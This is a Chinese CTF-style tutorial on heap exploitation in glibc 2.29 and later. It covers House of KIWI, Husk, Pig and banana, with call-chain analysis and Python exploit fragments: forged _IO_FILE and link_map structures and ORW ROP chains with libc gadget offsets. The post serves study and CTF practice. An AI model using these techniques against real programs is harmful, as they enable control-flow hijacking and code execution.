<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    高Glibc版本下的堆解析

    VSole2021-09-16 17:19:21

    Glibc2.29及以上版本堆的利用技巧越來越復雜,簡直就是神仙打架,實在學得有點頭暈。并且很多時候就算我們有了復用堆塊在出題人的各種圍追堵截的限制下,也可能沒辦法getshell,所以一直在不斷開發新的利用姿勢。

    一、House of KIWI

    1、原理分析

    函數調用鏈:assert->malloc_assert->fflush->_IO_file_jumps結構體中的__IO_file_sync

    調用時的寄存器為:

    那么如果可以在不同版本下劫持對應setcontext中的賦值參數,即rdi或者rdx,就可以設置寄存器來調用我們想調用的函數。

    (1)rdi和rdx互相轉換

    ①getkeyserv_handle+576:

    plaintext #注釋頭 mov rdx, [rdi+8]mov [rsp+0C8h+var_C8], raxcall qword ptr [rdx+20h]
    

    通過rdi控制rdx,同樣2.29以后不同版本都不太一樣,需要再調試看看,比如2.31里就是:

    plaintext #注釋頭 mov rdx,QWORD PTR [rdi+0x8]mov QWORD PTR [rsp],raxcall QWORD PTR [rdx+0x20]
    

    ②svcudp_reply+26:

    plaintext #注釋頭 mov rbp, qword ptr [rdi + 0x48];mov rax, qword ptr [rbp + 0x18];lea r13, [rbp + 0x10];mov dword ptr [rbp + 0x10], 0;mov rdi, r13;call qword ptr [rax + 0x28];
    

    通過rdi控制rbp實現棧遷移,然后即可任意gadget了。

    其中2.31版本下還是一樣的,如下:

    plaintext #注釋頭 mov rbp,QWORD PTR [rdi+0x48]mov rax,QWORD PTR [rbp+0x18]lea r13,[rbp+0x10]mov DWORD PTR [rbp+0x10],0x0mov rdi,r13call QWORD PTR [rax+0x28]
    

    (2)不同劫持

    這里觀察寄存器就可以知道,不同版本的setcontext對應的rdi和rdx,這里就劫持哪一個。另外這里的rdi為_IO_2_1_stderr結構體,是從stderr@@GLIBC_2.2.5取值過來的,也就是data段上的數據,如果可以取得ELF基地址,直接劫持該指針為chunk地址也是可以的,這樣就能劫持RDI寄存器了。

    這樣如果劫持__IO_file_sync函數指針為setcontext,配合劫持的rdi和rdx就可以來調用我們想調用函數從而直接getshell或者繞過orw。

    2、觸發條件

    只要assert判斷出錯都可以,常用以下幾個:

    (1)top_chunk改小,并置pre_inuse為0,當top_chunk不足分配時會觸發一個assert。(該assert函數在sysmalloc函數中被調用)

    (2)largebin chunk的size中的flag位,這個不太清楚。

    (3)如果是2.29及以下,因為在tcache_put和tcacheget中還存在assert的關系,所以如果可以修改掉mp.tcache_bins,將之改大,(利用largebin attack)就會觸發assert。

    //2.29tcache_put (mchunkptr chunk, size_t tc_idx){  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);  assert (tc_idx < TCACHE_MAX_BINS);   /* Mark this chunk as "in the tcache" so the test in _int_free will     detect a double free.  */  e->key = tcache;   e->next = tcache->entries[tc_idx];  tcache->entries[tc_idx] = e;  ++(tcache->counts[tc_idx]);} //2.29tcache_get (size_t tc_idx){  tcache_entry *e = tcache->entries[tc_idx];  assert (tc_idx < TCACHE_MAX_BINS);  assert (tcache->entries[tc_idx] > 0);  tcache->entries[tc_idx] = e->next;  --(tcache->counts[tc_idx]);  e->key = NULL;  return (void *) e;}
    

    3、適用條件

    如果將exit函數替換成_exit函數,最終結束的時候,則是進行了syscall來結束,并沒有機會調用_IO_cleanup,若再將__malloc_hook和__free_hook給ban了,且在輸入和輸出都用read和write的情況下,無法hook且無法通過IO刷新緩沖區的情況下。這時候可以借用malloc出錯調用malloc_assert->fflush->_IO_file_sync函數指針。且進入的時候rdx為_IO_helper_jumps_addr,rdi為_IO_2_1_stderr_addr。

    二、House of Husk

    1、原理分析

    函數調用鏈:

    printf->vfprintf->printf_positional->__parse_one_specmb->__printf_arginfo_table(spec)                                                |                                                 ->__printf_function_table(spec)
    

    __parse_one_specmb 函數 會調用 __printf_arginfo_table和__printf_function_table兩個函數指針中對應spec索引的函數指針printf_arginfo_size_function

    這個spec索引指針就是格式化字符的ascii碼值,比如printf("%S"),那么就是S的ascii碼值。當然,這個方法的前提是得有printf系列函數,并且有格式化字符。

    即調用(__printf_arginfo_table+'spec'8) 和 (printf_function_table+'spec'8)這兩個函數指針。

    而實際情況會先調用__printf_arginfo_table中對應的spec索引的函數指針,然后調用__printf_function_table對應spec索引函數指針。

    所以如果修改了__printf_arginfo_table和__printf_function_table,則需要確保對應的spec索引對應的函數指針,要么為0,要么有效。

    同時如果選擇這個方法,就得需要__printf_arginfo_table和__printf_function_table均不為0才行。

    //2.31 vfprintf-internal.c(stdio-common) /* Use the slow path in case any printf handler is registered.  */if (__glibc_unlikely (__printf_function_table != NULL                      || __printf_modifier_table != NULL                      || __printf_va_arg_table != NULL))    goto do_positional;  do_positional:if (__glibc_unlikely (workstart != NULL)){    free (workstart);    workstart = NULL;}done = printf_positional (s, format, readonly_format, ap, &ap_save,                          done, nspecs_done, lead_str_end, work_buffer,                          save_errno, grouping, thousands_sep, mode_flags);
    //2.31 vfprintf-internal.c(stdio-common) (void) (*__printf_arginfo_table[specs[cnt].info.spec])(&specs[cnt].info, specs[cnt].ndata_args, &args_type[specs[cnt].data_arg], &args_size[specs[cnt].data_arg]);  /* Call the function.  */function_done = __printf_function_table[(size_t) spec]    (s, &specs[nspecs_done].info, ptr);
    

    即如果table不為空,則調用printf_positional函數,然后如果spec不為空,則調用對應spec索引函數。但是有時候不知道printf最終會調用哪個spec,可能隱藏在哪,所以直接把干脆_printf_arginfo_table和__printf_function_table中的值全給改成one_gadget算了。

    綜上,得出以下條件:

    A.    __printf_function_table = heap_addr    __printf_arginfo_table != 0//其中__printf_arginfo_table和__printf_function_table可以對調B. heap_addr+'spec'*8 = one_gadget
    

    在2.29下可以直接用largebin attack爆破修改兩個地方,當然還是需要先泄露地址的。

    2、觸發條件

    即需要printf家族函數被調用,且其中需帶上格式化字符,比如%s,%x等,用來計算spec,這個和libc版本無關,相當于只針對printf家族函數進行攻擊的。

    3、適用條件

    具有printf家族函數,并且存在spec,合適地方會調用。

    三、House of Pig

    1、原理分析

    (1)劫持原理

    _IO_str_overflow函數中會連續調用malloc memcpy free三個函數。并且__IO_str_overflow函數傳入的參數rdi為從_IO_list_all中獲取的_IO_2_1_stderr結構體的地址。所以如果我們能改掉_IO_list_all中的值就能劫持進入該函數的參數rdi。

    所以如上所示,即劫持成功。

    (2)Getshell原理

    ①函數流程

    A.在_IO_str_overflow函數中會先申請chunk為new_buf,然后會依據rdi的值,將rdi當作_IO_FILE結構體,從該結構體中獲取_IO_buf_base當作old_buf。

    B.依據old_blen 和_IO_buf_base來拷貝數據到new_buf中,然后釋放掉old_buf。其中old_blen 是通過_IO_buf_end減去_IO_buf_base得到的。

    //2.31 strops.c中的_IO_str_overflowif (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */    return EOF;else{    char *new_buf;    char *old_buf = fp->_IO_buf_base;    size_t old_blen = _IO_blen (fp);    size_t new_size = 2 * old_blen + 100;    if (new_size < old_blen)        return EOF;    new_buf = malloc (new_size);//-------house of pig:get chunk from tcache    if (new_buf == NULL)    {        /*      __ferror(fp) = 1; */        return EOF;    }    if (old_buf)    {        memcpy (new_buf, old_buf, old_blen);        //-------house of pig:copy /bin/sh and system to _free_hook        free (old_buf);        //-------house of pig:getshell        /* Make sure _IO_setb won't try to delete _IO_buf_base. */        fp->_IO_buf_base = NULL;    }
    

    ②劫持所需數據

    所以如果在申請的new_buf包含為_free_hook,然后我們在_IO_buf_base和_IO_buf_end這里一段數據塊中將system_addr放入,那么就可以將system_addr拷貝到_free_hook中。之后釋放掉old_buf,如果old_buf中的頭部數據為/bin/sh\x00,那么就能直接getshell了。得到以下劫持所需數據:

    *(_IO_list_all) = chunk_addr;(struct _IO_FILE*)chunk_addr->_IO_buf_base = chunk_sh_sys_addr;(struct _IO_FILE*)chunk_addr->_IO_buf_end = chunk_sh_sys_addr+old_blen;//2 * old_blen + 100 通常我們選取old_blen為0x18,那么計算得到的tc_idx為8tcachebin[tc_idx] = _free_hook_addr-old_blen;
    

    但是如何使得tcachebin[tc_idx]中的Chunk為_free_hook_addr-old_blen呢,這個就用到技術。

    Largebin attack + Tcache Stashing Unlink Attack,這個技術原理比較復雜,自己看吧。

    通常是只能使用callo的情況下來用的,因為如果能malloc那直接從tcache中malloc出來不就完了。

    然后由于_IO_str_overflow函數中的一些檢查,所以有的地方還是需要修改的:

    fake_IO_FILE = p64(0)*2fake_IO_FILE += p64(1)                     #change _IO_write_base = 1fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xfffffffffffffake_IO_FILE += p64(0)#need copy '/bin/sh' and system from a old_buf to new_buffake_IO_FILE += p64(heap_base+0x003900+0x10)       #set _IO_buf_base (old_buf(start))fake_IO_FILE += p64(heap_base+0x003900+0x10+0x18)  #set _IO_buf_end  (old_buf(end))  #old_blen=old_buf(start)-old_buf(end)fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')fake_IO_FILE += p64(0)                    #change _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')fake_IO_FILE += p64(IO_str_vtable)        #change vtable to _IO_str_jumps
    

    2、觸發條件

    (1)Libc結構被破壞的abort函數中會調用刷新

    (2)調用exit()

    (3)能夠從main函數返回

    3、適用條件

    程序只能通過calloc來獲取chunk時。

    四、House of banana

    1、原理分析

    函數調用鏈:exit()->_dl_fini->(fini_t)array[i]

    //2.31 glibc/elf/dl_fini.c /* First see whether an array is given.  */if (l->l_info[DT_FINI_ARRAY] != NULL){    ElfW(Addr) *array =        (ElfW(Addr) *) (l->l_addr                        + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);    unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val                      / sizeof (ElfW(Addr)));    while (i-- > 0)        ((fini_t) array[i]) ();}
    

    所以如果可以使得*array[i] = one_gadget,那么就可以一鍵getshell。而array[i]調用時這里就有兩種套路:

    (1)偽造link_map結構體

    直接偽造link_map結構體,將原本指向link_map的指針指向我們偽造的link_map,然后偽造其中數據,繞過檢查,最后調用array[i]。這里通常利用largebin attack來將堆地址寫到_rtld_global這個結構體指針中。

    link_map的布局通常如下:

    #largebin attack's chunk#*_rtld_local=fake_link_map_chunk_addrfake_link_map_chunk_addr = heap_base+0x001000edit(1,0x448,'\x00'*0x448)  #empty the fake_link_map_chunkfake_link_map_data = ""fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x20)        #0 1fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr)            #2 3fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x28)        #4 5fake_link_map_data += p64(fake_link_map_chunk_addr + 0x50) + p64(fake_link_map_chunk_addr + 0x20)                                    #6 7fake_link_map_data += p64(fake_link_map_chunk_addr+0x28) + p64(0x0)        #8 9fake_link_map_data += p64(0) + p64(0x0)                                    #10 11fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x50)        #12 13fake_link_map_data =  fake_link_map_data.ljust(0x100,'\x00') fake_link_map_data += p64(fake_link_map_chunk_addr + 0x190) + p64(0)           #0x20 0x21fake_link_map_data += p64(fake_link_map_chunk_addr + 0x128) + p64(0)       #0x22 0x23fake_link_map_data += p64(0x8) + p64(0)                                    #0x24 0x25fake_link_map_data =  fake_link_map_data.ljust(0x180,'\x00') fake_link_map_data += p64(0x1A) + p64(0x0)                                #0x30 0x31fake_link_map_data += p64(elf_base + elf.sym['backdoor']) + p64(0)        #0x32 0x33 #set fake_chunk->pre_sizeedit(0,0xd68,'\x00'*0xd60+p64(fake_link_map_chunk_addr + 0x1a0))fake_link_map_data = fake_link_map_data.ljust(0x308,'\x00')fake_link_map_data += p64(0x800000000)
    

    (2)修改link_map結構體數據

    修改對應link_map結構體中的數據,繞過檢查,最終調用array[i]。這里就通常需要利用任意申請來申請到該結構體,然后修改其中的值,因為當調用array[i]時,傳入的實際上是link_map中的某個地址,即rdx為link_map+0x30,這個不同版本好像不太一樣,2.31及以上為link_map+0x38。

    主要偽造以下數據:

    這個方法常用來打ORW,因為可以我們可以直接將ROP鏈布置在link_map中。然而因為版本間的關系,所以數據也有點不同,實際布局:

    2.31

    //docker 2.31 gadgetpop_rdi_ret = libc_base + 0x0000000000026b72;pop_rsi_ret = libc_base + 0x0000000000027529;pop_rax_ret = libc_base + 0x000000000004a550;syscall_ret = libc_base + 0x0000000000066229;pop_rdx_r10_ret = libc_base + 0x000000000011c371setcontext_addr = libc_base + libc.sym['setcontext']lg("setcontext_addr",setcontext_addr)ret = pop_rdi_ret+1; fake_link_map_chunk_addr = top_chunk_hijack+0x4+0x10fake_rsp = fake_link_map_chunk_addr + 8*8flag = fake_link_map_chunk_addr + 30*8 orw = ""#fake_rsp_addr =  fake_link_map_chunk_addr + 8*8orw += p64(pop_rdi_ret) + p64(flag)                                        #8orw += p64(pop_rsi_ret) + p64(0)orw += p64(pop_rax_ret) + p64(2)orw += p64(syscall_ret)orw += p64(pop_rdi_ret) + p64(3)orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)orw += p64(pop_rdx_r10_ret) + p64(0x30) + p64(0x0)orw += p64(libc_base+libc.sym['read'])orw += p64(pop_rdi_ret) + p64(1)orw += p64(libc_base+libc.sym['write']) fake_link_map_data = ""#set l_addr(0) point to fini_arrayfake_link_map_data += p64(fake_link_map_chunk_addr+0x20) + p64(0x0)       #0     1#set l_next(3) and *(l_next)=vdso_addrfake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr+0x5b0)      #2     3#set l_real(5) point to fake_link_map_chunk_addrfake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr)            #4     5fake_link_map_data += p64(setcontext_addr+61) + p64(ret)                #6     7fake_link_map_data += orw                                                #8~25fake_link_map_data = fake_link_map_data.ljust(26*8,'\x00') #for rcx  push rcxfake_link_map_data += p64(0x0) + p64(fake_rsp)                            #26 27fake_link_map_data += p64(ret) + p64(0x0)                                #28 29#flag_addr = fake_link_map_chunk_addr + 30*8fake_link_map_data += './flag\x00\x00'                                    #30fake_link_map_data = fake_link_map_data.ljust(34*8,'\x00')                #30~33 #fake circle link_listfake_link_map_data += p64(fake_link_map_chunk_addr+0x110) + p64(0x0)    #34 35fake_link_map_data += p64(fake_link_map_chunk_addr+0x120) + p64(0x20)    #36 37
    

    2.29

    //docker 2.29 gadgetpop_rdi_ret = libc_base + 0x0000000000026542;pop_rsi_ret = libc_base + 0x0000000000026f9e;pop_rax_ret = libc_base + 0x0000000000047cf8;syscall_ret = libc_base + 0x00000000000cf6c5;pop_rdx_r10_ret = libc_base + 0x000000000012bda4setcontext_addr = libc_base + libc.sym['setcontext']lg("setcontext_addr",setcontext_addr)ret = pop_rdi_ret+1;  fake_link_map_chunk_addr = top_chunk_hijack+0x4+0x10fake_rsp = fake_link_map_chunk_addr + 8*8flag = fake_link_map_chunk_addr + 30*8 orw = ""#fake_rsp_addr =  fake_link_map_chunk_addr + 8*8orw += p64(pop_rdi_ret) + p64(flag)                                        #8orw += p64(pop_rsi_ret) + p64(0)orw += p64(pop_rax_ret) + p64(2)orw += p64(syscall_ret)orw += p64(pop_rdi_ret) + p64(3)orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)orw += p64(pop_rdx_r10_ret) + p64(0x30) + p64(0x0)orw += p64(libc_base+libc.sym['read'])orw += p64(pop_rdi_ret) + p64(1)orw += p64(libc_base+libc.sym['write']) fake_link_map_data = ""#set l_addr(0) point to fini_arrayfake_link_map_data += p64(fake_link_map_chunk_addr+0x20) + p64(0x0)       #0     1#set l_next(3) and *(l_next)=vdso_addrfake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr+0x5a0)      #2     3#set l_real(5) point to fake_link_map_chunk_addrfake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr)            #4     5fake_link_map_data += p64(setcontext_addr+53) + p64(ret)                #6     7fake_link_map_data += orw                                                #8~25fake_link_map_data = fake_link_map_data.ljust(26*8,'\x00') #for rcx  push rcxfake_link_map_data += p64(fake_rsp) + p64(ret)                            #26 27fake_link_map_data += p64(0x0) + p64(0x0)                                #28 29#flag_addr = fake_link_map_chunk_addr + 30*8fake_link_map_data += './flag\x00\x00'                                    #30fake_link_map_data = fake_link_map_data.ljust(34*8,'\x00')                #30~33 #fake circle link_listfake_link_map_data += p64(fake_link_map_chunk_addr+0x110) + p64(0x0)    #34 35fake_link_map_data += p64(fake_link_map_chunk_addr+0x120) + p64(0x20)    #36 37
    

    這里需要注意的是由于ld動態連接加載的事情,所以就算是同一個版本中的link_map相對于libc基地址在不同機器中也有可能是不同的,需要爆破第4,5兩位,一個字節。

    題外話:適用到ld動態鏈接庫的話,如果直接patchelf的話,很可能出錯的,原因未知。推薦還是用docker:

    PIG-007/pwnDockerAll (github.com)

    (https://github.com/PIG-007/pwnDockerAll)

    2、觸發條件

    (1)調用exit()

    (2)能夠從main函數返回

    3、適用條件

    ban掉了很多東西的時候。但是這個需要泄露地址才行的,另外由于可能需要爆破一個字節,所以如果還涉及其他的爆破就得慎重考慮一下了,別到時候爆得黃花菜都涼了。

    函數調用glibc
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Glibc2.29及以上版本堆的利用技巧越來越復雜,簡直就是神仙打架,實在學得有點頭暈。并且很多時候就算我們有了復用堆塊在出題人的各種圍追堵截的限制下,也可能沒辦法getshell,所以一直在不斷開發新的利用姿勢。
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    House of Cat5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本,命名為House of cat并出在2022強網杯中。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可。vtable檢查在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。
    使用AFL++復現歷史CVE
    2022-08-12 17:36:45
    安裝調試目標從github等途徑下載并解壓。從網上找現成的樣本sample。
    在當前CTF比賽中,“偽造IO_FILE”是pwn題里一種常見的利用方式,并且有時難度還不小。
    關于堆噴堆噴射(Heap Spraying)是一種計算機安全攻擊技術,它旨在在進程的堆中創建多個包含惡意負載的內存塊。這種技術允許攻擊者避免需要知道負載確切的內存地址,因為通過廣泛地“噴射”堆,攻擊者可以提高惡意負載被成功執行的機會。
    MTCTF-2022 部分WriteUp
    2022-11-23 09:35:37
    MTCTF 本次比賽主力輸出選手Article&Messa&Oolongcode,累計解題3Web,2Pwn,1Re,1CryptoWeb★easypickle題目給出源碼:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是將從stack中出棧兩元素分別導入的模塊名和屬性名:此外對于藍帽杯WP還存在一個小問題,原題采用_loads函數加載pickle數據但本題是loads,在opcodes處理上會有些微不通具體來說就是用loads加載時會報錯誤如下:對著把傳入參數換成元組就行,最終的payload如下
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    聲明:本篇文章由 可可@QAX CERT 原創,僅用于技術研究,不恰當使用會造成危害,嚴禁違法使用 ,否則后
    NX實現機制淺析
    2021-10-12 16:53:04
    是否開啟NX取決于參數-z設置,而gcc僅僅是將-z keyword傳遞給linker——ld,并不會真正解析該參數:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类